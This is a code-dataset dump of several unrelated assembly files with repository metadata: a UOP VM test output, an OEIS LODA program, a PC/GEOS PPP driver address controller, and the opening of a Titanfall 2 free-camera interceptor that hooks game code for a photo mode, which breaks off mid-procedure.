] | null | null | null |
testsuite/ubivm/output/group_8.asm
|
alexgarzao/UOP
|
12460841ff2b9991d2f7f461635b1f551413823f
|
[
"MIT"
] | null | null | null |
testsuite/ubivm/output/group_8.asm
|
alexgarzao/UOP
|
12460841ff2b9991d2f7f461635b1f551413823f
|
[
"MIT"
] | null | null | null |
.constant_pool
.const 0 string [start]
.const 1 string [constructor]
.const 2 string [Inserindo informacoes]
.const 3 int [1]
.const 4 string [io.writeln]
.const 5 string [MeuContexto]
.const 6 string [key 1]
.const 7 string [key 2]
.const 8 string [key 3]
.const 9 string [key 4]
.const 10 string [res1]
.const 11 string [res2]
.const 12 string [res3]
.const 13 string [res4]
.const 14 int [4]
.const 15 string [key x]
.const 16 string [resx]
.const 17 string [Informacoes inseridas: ]
.const 18 int [2]
.end
.entity start
.valid_context_when (always)
.method constructor
ldconst 2 --> [Inserindo informacoes]
ldconst 3 --> [1]
lcall 4 --> [io.writeln]
ldconst 5 --> [MeuContexto]
ldconst 6 --> [key 1]
ldconst 7 --> [key 2]
ldconst 8 --> [key 3]
ldconst 9 --> [key 4]
ldconst 10 --> [res1]
ldconst 11 --> [res2]
ldconst 12 --> [res3]
ldconst 13 --> [res4]
ldconst 14 --> [4]
ldconst 14 --> [4]
cpublish
ldconst 5 --> [MeuContexto]
ldconst 6 --> [key 1]
ldconst 7 --> [key 2]
ldconst 8 --> [key 3]
ldconst 15 --> [key x]
ldconst 10 --> [res1]
ldconst 11 --> [res2]
ldconst 12 --> [res3]
ldconst 16 --> [resx]
ldconst 14 --> [4]
ldconst 14 --> [4]
cpublish
ldconst 17 --> [Informacoes inseridas: ]
ldconst 5 --> [MeuContexto]
ldconst 6 --> [key 1]
ldconst 7 --> [key 2]
ldconst 8 --> [key 3]
ldconst 9 --> [key 4]
ldconst 14 --> [4]
cget
ldconst 18 --> [2]
lcall 4 --> [io.writeln]
ldconst 17 --> [Informacoes inseridas: ]
ldconst 5 --> [MeuContexto]
ldconst 6 --> [key 1]
ldconst 7 --> [key 2]
ldconst 8 --> [key 3]
ldconst 15 --> [key x]
ldconst 14 --> [4]
cget
ldconst 18 --> [2]
lcall 4 --> [io.writeln]
exit
.end
.end
| 32.08
| 54
| 0.4335
|
52f7d724d344931f73c7aaea8e8033e9a59bb861
| 796
|
asm
|
Assembly
|
oeis/282/A282123.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/282/A282123.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/282/A282123.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A282123: Decimal representation of the x-axis, from the left edge to the origin, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 430", based on the 5-celled von Neumann neighborhood.
; 1,3,6,15,26,63,106,255,426,1023,1706,4095,6826,16383,27306,65535,109226,262143,436906,1048575,1747626,4194303,6990506,16777215,27962026,67108863,111848106,268435455,447392426,1073741823,1789569706,4294967295,7158278826,17179869183,28633115306,68719476735,114532461226,274877906943,458129844906,1099511627775,1832519379626,4398046511103,7330077518506,17592186044415,29320310074026,70368744177663,117281240296106,281474976710655,469124961184426,1125899906842623,1876499844737706,4503599627370495
mov $1,2
mov $2,$0
mod $0,2
add $0,5
pow $1,$2
mul $0,$1
sub $0,2
div $0,3
| 66.333333
| 495
| 0.826633
|
36325c8f1573cc8df9467bca29dac6898b9bc95a
| 18,451
|
asm
|
Assembly
|
Driver/Socket/PPP/pppAddrCtrl.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Driver/Socket/PPP/pppAddrCtrl.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Driver/Socket/PPP/pppAddrCtrl.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1995 -- All Rights Reserved
GEOWORKS CONFIDENTIAL
PROJECT: Socket
MODULE: PPP Driver
FILE: pppAddrCtrl.asm
AUTHOR: Jennifer Wu, Apr 20, 1995
ROUTINES:
Name Description
---- -----------
PPPACGetInfo
PPPACInitialize
PPPACGenerateUI
PPPACGetAddresses
PPPACGetPhoneNumber
PPPACGetAccessPoint
PPPACStoreAccessName
PPPACSetAddresses
PPPACTextEmptyStatusChanged
PPPSpecialTextCut (aka PPPSpecialTextCopy)
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 4/20/95 Initial revision
DESCRIPTION:
Code for PPP address controller and password dialog.
$Id: pppAddrCtrl.asm,v 1.6 96/04/03 14:52:34 jwu Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AddressCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PPPACGetInfo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fill in the info structure needed by the PPP address
controller.
CALLED BY: MSG_GEN_CONTROL_GET_INFO
PASS: *ds:si = PPPAddressControlClass object
es = segment of PPPAddressControlClass
cx:dx = GenControlBuildInfo structure to fill in
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS: GenControlBuildInfo structure filled in
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 4/20/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PPPACGetInfo method dynamic PPPAddressControlClass,
MSG_GEN_CONTROL_GET_INFO
uses cx
.enter
mov si, offset pppBuildInfo
segmov ds, cs ; ds:si = source
mov es, cx
mov di, dx ; es:di = dest
mov cx, size GenControlBuildInfo
rep movsb
.leave
ret
PPPACGetInfo endm
pppBuildInfo GenControlBuildInfo <
mask GCBF_NOT_REQUIRED_TO_BE_ON_SELF_LOAD_OPTIONS_LIST, ; GCBI_flags
0, ; GCBI_initFileKey
0, ; GCBI_gcnList
0, ; GCBI_gcnCount
0, ; GCBI_notificationList
0, ; GCBI_notificationCount
0, ; GCBI_controllerName
handle PPPAddrCtrlDialog, ; GCBI_dupBlock
pppChildList, ; GCBI_childList
length pppChildList, ; GCBI_childCount
pppFeaturesList, ; GCBI_featuresList
length pppFeaturesList, ; GCBI_featuresCount
1, ; GCBI_features
0, ; GCBI_toolBlock
0, ; GCBI_tookList
0, ; GCBI_toolCount
0, ; GCBI_toolFeaturesList
0, ; GCBI_toolFeaturesCount
0, ; GCBI_toolFeatures
0, ; GCBI_helpContext
0> ; GCBI_reserved
if _FXIP
ControlInfoXIP segment resource
endif
pppChildList GenControlChildInfo \
<offset PPPAddrCtrlDialog,
0,
mask GCCF_IS_DIRECTLY_A_FEATURE or mask GCCF_ALWAYS_ADD>
pppFeaturesList GenControlChildInfo \
<offset PPPAddrCtrlDialog,
0,
1>
if _FXIP
ControlInfoXIP ends
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PPPACInitialize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Intercepted to initialize instance data to non-zero defaults.
CALLED BY: MSG_META_INITIALIZE
PASS: *ds:si = PPPAddressControlClass object
ds:di = PPPAddressControlClass instance data
ds:bx = PPPAddressControlClass object (same as *ds:si)
es = segment of PPPAddressControlClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
call superclass
set SACI_geode to this driver's handle
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 4/20/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PPPACInitialize method dynamic PPPAddressControlClass,
MSG_META_INITIALIZE
mov di, offset PPPAddressControlClass
call ObjCallSuperNoLock
mov ax, handle 0
mov di, ds:[si]
add di, ds:[di].PPPAddressControl_offset
mov ds:[di].SACI_geode, ax
ret
PPPACInitialize endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PPPACGenerateUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Take the opportunity to set the output of the text object
so we can get the empty status changed message.
CALLED BY: MSG_GEN_CONTROL_GENERATE_UI
PASS: *ds:si = PPPAddressControlClass object
es = segment of PPPAddressControlClass
ax = message #
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Set output of text object to the controller.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 7/12/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PPPACGenerateUI method dynamic PPPAddressControlClass,
MSG_GEN_CONTROL_GENERATE_UI
uses ax, cx, dx, bp
.enter
mov di, offset PPPAddressControlClass
call ObjCallSuperNoLock
;
; Set output of text object to the controller so we can
; get the empty status changed message.
;
mov ax, TEMP_GEN_CONTROL_INSTANCE
call ObjVarDerefData
mov cx, ds:[LMBH_handle]
mov dx, si ; ^lcx:dx = controller
mov bx, ds:[bx].TGCI_childBlock
EC < tst bx >
EC < ERROR_Z PPP_MISSING_CHILD_BLOCK >
mov si, offset PhoneText
mov ax, MSG_VIS_TEXT_SET_OUTPUT
mov di, mask MF_CALL
call ObjMessage ; destroys ax,cx,dx,bp
.leave
ret
PPPACGenerateUI endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PPPACGetAddresses
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Build the block of data that holds the address selected
by the user.
CALLED BY: MSG_SOCKET_ADDRESS_CONTROL_GET_ADDRESSES
PASS: *ds:si = PPPAddressControlClass object
es = segment of PPPAddressControlClass
RETURN: if ok:
ax = ChunkArray of SACAddress structures in same
block as controller
else
ax = 0
DESTROYED: cx, dx
PSEUDO CODE/STRATEGY:
Get phone number from text object into stack buffer
If phone number length is non-zero,
store length in addrLen and nameLen
store link type as LT_ADDR
else ask access point UI for ID
if none, return 0
else store ID in addr buffer
store link type as LT_ID
get username into a block and store namelen
allocate chunk array and an element
(size of element equals addrLen + nameLen + some extra bytes)
if failed, free array, free block if allocated
else
store opaqueSize from addrLen
store link type
copy addrBuffer to element
if phone number,
copy addr buffer again (user readable addr)
else
lock username block and copy to element
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 4/20/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PPPACGetAddresses method dynamic PPPAddressControlClass,
MSG_SOCKET_ADDRESS_CONTROL_GET_ADDRESSES
addrBuffer local MAX_PHONE_NUMBER_LENGTH_ZT dup (TCHAR)
opaqSize local word
userBlk local hptr
userSize local word
addrType local LinkType
.enter
;
; Get phone number from text object.
;
mov userBlk, 0
mov ax, TEMP_GEN_CONTROL_INSTANCE
call ObjVarDerefData
mov bx, ds:[bx].TGCI_childBlock
EC < tst bx >
EC < ERROR_Z PPP_MISSING_CHILD_BLOCK >
mov addrType, LT_ADDR ; assume a number
call PPPACGetPhoneNumber
tst ax
jnz makeArray
;
; Get access point info instead.
;
mov addrType, LT_ID ; assume access ID
call PPPACGetAccessPoint
jc exit
makeArray:
;
; Store address sizes, create chunk array and allocate element.
;
mov opaqSize, ax
mov userSize, cx
clr bx, cx, si, ax ; var size, default hdr,
; alloc a chunk, no flags
call ChunkArrayCreate ; *ds:si = array
jc noAddr
mov cx, opaqSize
mov ax, cx
add ax, userSize
add ax, PPP_EXTRA_ADDR_SPACE
call ChunkArrayAppend ; ds:di = SACAddress
jnc storeAddr
mov_tr ax, si
call LMemFree ; free array
noAddr:
clr ax
jmp done
storeAddr:
;
; Store opaque address size, link type, and opaque address.
;
segmov es, ds ; es:di = SACAddress
mov ax, cx ; ax = opaque size
inc ax ; include byte for link type
stosw ; store opaque size
mov al, addrType
stosb
mov_tr ax, si ; *ds:ax = array
segmov ds, ss, si
lea si, addrBuffer ; ds:si = address
push si, cx
rep movsb
pop si, cx
;
; If using phone number, store the addrBuffer contents again.
;
cmp addrType, LT_ID
je storeName
inc cx ; include null this time
DBCS < inc cx >
rep movsb
jmp exit
storeName:
call PPPACStoreAccessName
done:
mov bx, userBlk
tst bx
je exit
call MemFree
exit:
.leave
ret
PPPACGetAddresses endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PPPACGetPhoneNumber
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the phone number, if any.
CALLED BY: PPPACGetAddresses
PASS: bx = handle of child block
inherited stack frame
RETURN: ax = opaque address size (no null)
cx = user readable address size (no null)
addrBuffer filled in
DESTROYED: dx, di, si
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 7/18/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PPPACGetPhoneNumber proc near
.enter inherit PPPACGetAddresses
push bp
mov si, offset PhoneText
mov dx, ss
lea bp, addrBuffer ; dx:bp = dest for #
mov ax, MSG_VIS_TEXT_GET_ALL_PTR
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; cx = len (no null)
pop bp
DBCS < shl cx >
mov ax, cx
.leave
ret
PPPACGetPhoneNumber endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PPPACGetAccessPoint
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get selected access point ID and access point name, if any.
CALLED BY: PPPACGetAddresses
PASS: bx = handle of child block
inherited stack frame
RETURN: carry set if no access point
else
ax = opaque address size
cx = user readable address size
userBlk filled with handle of acc pnt name, if any
addrBuffer filled with ID
DESTROYED: dx, di, si
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 7/18/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PPPACGetAccessPoint proc near
.enter inherit PPPACGetAddresses
;
; Get access point ID from access point controller.
;
mov si, offset AccPntUI ; ^lbx:si = AccPntUI
mov ax, MSG_ACCESS_POINT_CONTROL_GET_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax = acc pnt ID (0 if none)
tst ax
je none
mov {word} ss:[addrBuffer], ax
;
; Get user name allocated into a block. If none, then the
; link will have no user readable part.
;
push bp
clr cx, bp ; standard property, alloc blk
mov dx, APSP_NAME
call AccessPointGetStringProperty ; cx = len, bx = blk
pop bp
jnc haveResult
clr bx, cx
haveResult:
DBCS < shl cx >
mov userBlk, bx
mov ax, size word
clc
jmp exit
none:
stc
exit:
.leave
ret
PPPACGetAccessPoint endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PPPACStoreAccessName
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Store the name from the name block into the SACAddress.
CALLED BY: PPPACGetAddresses
PASS: es:di = destination for name
inherited stack frame
RETURN: nothing
DESTROYED: bx, cx, dx, di, si
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 7/18/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PPPACStoreAccessName proc near
uses ax
.enter inherit PPPACGetAddresses
;
; If no name, just store a null terminator.
;
mov cx, userSize
jcxz storeNull
EC < tst userBlk >
EC < ERROR_E -1 ; missing name block! >
mov bx, userBlk
call MemLock
mov ds, ax
clr si ; ds:si = name
rep movsb
call MemUnlock
storeNull:
clr ax
LocalPutChar esdi, ax
.leave
ret
PPPACStoreAccessName endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PPPACSetAddresses
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the current user-editable address to the passed
address.
CALLED BY: MSG_SOCKET_ADDRESS_CONTROL_SET_ADDRESSES
PASS: *ds:si = PPPAddressControlClass object
ds:di = PPPAddressControlClass instance data
es = segment of PPPAddressControlClass
^lcx:dx = ChunkArray of SACAddress structures
(SACAddress contains combined link and IP
addresses in ESACAddress format)
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
If opaque link address size is non-zero
If link type is LT_ID,
set the selection in AccPntUI
else (link type is LT_ADDR)
store opaque link address in PhoneText
NOTES: This is the only place where PPP is aware of the
ESACAddress format. This is inconsistent, but it
makes life much simpler for the IP address controller.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 4/20/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PPPACSetAddresses method dynamic PPPAddressControlClass,
MSG_SOCKET_ADDRESS_CONTROL_SET_ADDRESSES
;
; Get child block.
;
mov ax, TEMP_GEN_CONTROL_INSTANCE
call ObjVarDerefData ; ds:bx = the data
mov si, dx ; ^lcx:si = SACA array
mov dx, ds:[bx].TGCI_childBlock
tst dx
EC < WARNING_E PPP_NO_CHILDREN_FOR_SET_ADDRESSES >
je exit
;
; Locate SACAddress.
;
mov bx, cx
call ObjLockObjBlock
mov ds, ax ; *ds:si = SACA array
call ChunkArrayGetCount
EC < cmp cx, 1 >
EC < WARNING_NE PPP_NOT_SINGLE_ADDRESS >
jcxz unlockArray
clr ax
call ChunkArrayElementToPtr ; ds:di = SACAddress, cx = size
lea si, ds:[di].SACA_opaque
lodsw
mov_tr cx, ax ; cx = link size
jcxz unlockArray
lodsb ; al = LinkType
dec cx
push bx ; save SAC array handle
mov bx, dx ; bx = child block
cmp al, LT_ADDR
jne useAccPnt
;
; Display phone number. Have to copy to stack first because
; the array may be in same block as us.
;
sub sp, cx
movdw dxbp, sssp ; dx:bp = phone number
movdw esdi, dxbp
push cx
push cx
rep movsb
pop cx
mov si, offset PhoneText ; ^lbx:si = text object
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
mov di, mask MF_CALL
call ObjMessage
pop cx
add sp, cx
jmp popUnlock
useAccPnt:
;
; Clear out phone number text object and display selected
; access point.
;
mov cx, ds:[si] ; cx = access point ID
push cx
mov si, offset PhoneText
mov ax, MSG_VIS_TEXT_DELETE_ALL
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop cx
mov si, offset AccPntUI
mov ax, MSG_ACCESS_POINT_CONTROL_SET_SELECTION
mov di, mask MF_CALL
call ObjMessage
popUnlock:
pop bx ; ^hbx = SAC array block
unlockArray:
call MemUnlock
exit:
ret
PPPACSetAddresses endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PPPACTextEmptyStatusChanged
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: The phone text object has either become empty or not empty.
CALLED BY: MSG_META_TEXT_EMPTY_STATUS_CHANGED
PASS: *ds:si = PPPAddressControlClass object
es = segment of PPPAddressControlClass
bp = non-zero if text is becoming non-empty
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Enable AccPntUI if text is becoming empty, else
disable AccPntUI.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 7/12/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PPPACTextEmptyStatusChanged method dynamic PPPAddressControlClass,
MSG_META_TEXT_EMPTY_STATUS_CHANGED
uses ax, cx, dx, bp
.enter
;
; Get the child block and set up params for call.
; Enable if text object is becoming empty. Else disable.
;
mov ax, TEMP_GEN_CONTROL_INSTANCE
call ObjVarDerefData
EC < tst bx >
EC < ERROR_Z PPP_MISSING_CHILD_BLOCK >
mov bx, ds:[bx].TGCI_childBlock
mov si, offset AccPntUI
mov dl, VUM_NOW
mov di, mask MF_CALL
mov ax, MSG_GEN_SET_ENABLED
tst bp
je sendMsg
mov ax, MSG_GEN_SET_NOT_ENABLED
sendMsg:
call ObjMessage
.leave
ret
PPPACTextEmptyStatusChanged endm
AddressCode ends
;---------------------------------------------------------------------------
;
; Code for PPP Password Dialog
;
;---------------------------------------------------------------------------
PPPTextCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PPPSpecialTextCut/PPPSpecialTextCopy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Intercepted to prevent cut and copy.
CALLED BY: MSG_META_CLIPBOARD_CUT/COPY
PASS: *ds:si = PPPSpecialTextClass object
ds:di = PPPSpecialTextClass instance data
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Do nothing.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 3/ 1/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PPPSpecialTextCut method dynamic PPPSpecialTextClass,
MSG_META_CLIPBOARD_CUT,
MSG_META_CLIPBOARD_COPY
mov ax, SST_NO_INPUT
call UserStandardSound
ret
PPPSpecialTextCut endm
PPPTextCode ends
| 24.535904
| 79
| 0.590754
|
8d5abecb399077ec661d89125448f5305b80ebf0
| 30,813
|
asm
|
Assembly
|
Cameras/Titanfall2/InjectableGenericCameraSystem/Interceptor.asm
|
Cyberim/InjectableGenericCameraSystem
|
d74f8786a903211e72c5da7f2f3be30826bb8329
|
[
"BSD-2-Clause"
] | 623
|
2016-12-02T16:01:05.000Z
|
2022-03-29T19:59:10.000Z
|
Cameras/Titanfall2/InjectableGenericCameraSystem/Interceptor.asm
|
Cyberim/InjectableGenericCameraSystem
|
d74f8786a903211e72c5da7f2f3be30826bb8329
|
[
"BSD-2-Clause"
] | 113
|
2016-12-10T17:34:24.000Z
|
2022-02-06T21:59:42.000Z
|
Cameras/Titanfall2/InjectableGenericCameraSystem/Interceptor.asm
|
Cyberim/InjectableGenericCameraSystem
|
d74f8786a903211e72c5da7f2f3be30826bb8329
|
[
"BSD-2-Clause"
] | 232
|
2016-12-17T06:32:08.000Z
|
2022-03-27T16:51:29.000Z
|
;////////////////////////////////////////////////////////////////////////////////////////////////////////
;// Part of Injectable Generic Camera System
;// Copyright(c) 2017, Frans Bouma
;// All rights reserved.
;// https://github.com/FransBouma/InjectableGenericCameraSystem
;//
;// Redistribution and use in source and binary forms, with or without
;// modification, are permitted provided that the following conditions are met :
;//
;// * Redistributions of source code must retain the above copyright notice, this
;// list of conditions and the following disclaimer.
;//
;// * Redistributions in binary form must reproduce the above copyright notice,
;// this list of conditions and the following disclaimer in the documentation
;// and / or other materials provided with the distribution.
;//
;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
;// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;////////////////////////////////////////////////////////////////////////////////////////////////////////
;---------------------------------------------------------------
; Game specific asm file to intercept execution flow to obtain addresses, prevent writes etc.
;---------------------------------------------------------------
;---------------------------------------------------------------
; Public definitions so the linker knows which names are present in this file
PUBLIC cameraStructInterceptor
PUBLIC cameraWrite1Interceptor
PUBLIC cameraWrite2Interceptor
PUBLIC cameraWrite3Interceptor
PUBLIC cameraWrite4Interceptor
PUBLIC cameraWrite5Interceptor
PUBLIC cameraWrite6Interceptor
PUBLIC cameraWrite7Interceptor
PUBLIC cameraWrite8Interceptor
PUBLIC cameraWrite9Interceptor
PUBLIC cameraWrite10Interceptor
PUBLIC cameraWrite11Interceptor
PUBLIC cameraWrite12Interceptor
PUBLIC cameraWrite13Interceptor
PUBLIC cameraWrite14Interceptor
PUBLIC cameraWrite15Interceptor
;---------------------------------------------------------------
;---------------------------------------------------------------
; Externs which are used and set by the system. Read / write these
; values in asm to communicate with the system
EXTERN g_cameraEnabled: byte
EXTERN g_cameraStructAddress: qword
;---------------------------------------------------------------
;---------------------------------------------------------------
; Own externs, defined in InterceptorHelper.cpp
EXTERN _cameraStructInterceptionContinue: qword
EXTERN _cameraWrite1InterceptionContinue: qword
EXTERN _cameraWrite2InterceptionContinue: qword
EXTERN _cameraWrite3InterceptionContinue: qword
EXTERN _cameraWrite4InterceptionContinue: qword
EXTERN _cameraWrite5InterceptionContinue: qword
EXTERN _cameraWrite6InterceptionContinue: qword
EXTERN _cameraWrite7InterceptionContinue1: qword
EXTERN _cameraWrite7InterceptionContinue2: qword
EXTERN _cameraWrite8InterceptionContinue: qword
EXTERN _cameraWrite9InterceptionContinue: qword
EXTERN _cameraWrite10InterceptionContinue: qword
EXTERN _cameraWrite11InterceptionContinue: qword
EXTERN _cameraWrite12InterceptionContinue: qword
EXTERN _cameraWrite13InterceptionContinue: qword
EXTERN _cameraWrite14InterceptionContinue: qword
EXTERN _cameraWrite15InterceptionContinue: qword
.data
;---------------------------------------------------------------
; Scratch pad
.code
cameraStructInterceptor PROC
; camera address interceptor is also a write blocker.
;client.dll+142C4A - FF 90 A0050000 - call qword ptr [rax+000005A0]
;client.dll+142C50 - 48 8D 55 B7 - lea rdx,[rbp-49]
;client.dll+142C54 - 8B 08 - mov ecx,[rax]
;client.dll+142C56 - 89 0E - mov [rsi],ecx << INTERCEPT HERE << WRITE X
;client.dll+142C58 - 8B 48 04 - mov ecx,[rax+04]
;client.dll+142C5B - 89 4E 04 - mov [rsi+04],ecx << WRITE Y
;client.dll+142C5E - 8B 40 08 - mov eax,[rax+08]
;client.dll+142C61 - 48 8B CB - mov rcx,rbx
;client.dll+142C64 - 89 46 08 - mov [rsi+08],eax << WRITE Z
;client.dll+142C67 - 48 8B 03 - mov rax,[rbx]
;client.dll+142C6A - FF 90 B0050000 - call qword ptr [rax+000005B0]
;client.dll+142C70 - 8B 08 - mov ecx,[rax]
;client.dll+142C72 - 89 0F - mov [rdi],ecx << PITCH
;client.dll+142C74 - 8B 48 04 - mov ecx,[rax+04]
